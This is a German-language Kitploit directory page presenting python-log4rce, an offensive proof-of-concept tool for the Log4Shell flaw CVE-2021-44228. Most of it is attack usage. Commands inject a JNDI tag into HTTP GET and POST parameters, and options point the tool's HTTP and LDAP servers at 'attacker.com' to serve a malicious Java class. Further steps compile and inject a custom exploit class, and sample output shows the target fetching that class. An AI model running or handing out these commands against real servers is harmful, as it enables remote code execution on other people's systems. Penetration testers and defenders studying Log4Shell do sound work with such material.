Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
python-log4rce — Ein All-in-One-PoC in reinem Python für CVE-2021-44228 | Kitploit
Tools/GitHubGitHub/alexandre-lavoie/python-log4rce
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubalexandre-lavoie/python-log4rce

python-log4rce

Ein All-in-One-PoC in reinem Python für CVE-2021-44228

Repository anzeigen
17829vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Python Log4RCE

Ein All-in-One reiner Python3 PoC für CVE-2021-44228.

Beispiel

root@kitploit:~
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
root@kitploit:~
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!

Verwendung

Dies ist ein CLI-Tool. Alle Optionen finden Sie im Hilfemenü:

root@kitploit:~
python3 log4rce.py --help

Die Liste ist recht umfangreich, daher finden Sie im Folgenden eine Zusammenfassung der Funktionalität.

Angriffsmodi

Das Tool ermöglicht die Nutzung einiger Angriffsmodi. Diese Angriffe sind Erweiterungen der Log4RCE-Klasse.

HTTP

Sie können einen automatisierten HTTP-Anfrage-Angriff auf eine Ziel-URL durchführen.

Sie können eine GET-Anfrage wie folgt durchführen:

root@kitploit:~
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###&param=123" --headers="P1=123&P2=123"

Sie können eine POST-Anfrage wie folgt durchführen:

root@kitploit:~
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###&param=123" --headers="P1=123&P2=123"

Das vorherige injiziert das JNDI-Tag in ###.

Manuell

Wenn Sie keine der vorherigen verwenden können, verwenden Sie diesen Modus, um das JNDI-Tag auszugeben:

root@kitploit:~
python3 log4rce.py manual

Netzwerkeinstellungen

Das Tool ermöglicht umfangreiche Anpassungen für die meisten Netzwerkkonfigurationen. Alle internen Server können so geändert werden, dass sie je nach den entfernten Einstellungen auf andere Standorte verweisen.

HTTP-Server

Sie können den HTTP-Server mit den folgenden Parametern konfigurieren:

root@kitploit:~
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
root@kitploit:~
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses. 

LDAP-Server

Sie können den LDAP-Server mit den folgenden Parametern konfigurieren:

root@kitploit:~
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
root@kitploit:~
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses. 

Anpassung

Das Tool ermöglicht einige Anpassungen. Im Folgenden sind einige Funktionen aufgeführt, die für Sie interessant sein könnten.

Injizieren von Payloads

Sie können einen Payload in die Java-Klasse einfügen mit:

root@kitploit:~
python3 log4rce.py --payload "PAYLOAD"

Der Payload wird in "###"-Zeichenfolgen injiziert.

Benutzerdefinierter Java-Payload

Sie können Ihre eigene Java-Klasse wie folgt erstellen.

root@kitploit:~
javac -source 1.7 -target 1.7 /path/to/Exploit.java

Die resultierende .class-Datei kann mit folgendem Befehl ausgeführt werden:

root@kitploit:~
python3 log4rce.py --java_class "/path/to/Exploit.class" ...

Hinweis: Sie können eine Zeichenfolge "###" hinzufügen, um die Payload-Injektion zu ermöglichen.

Tool herunterladen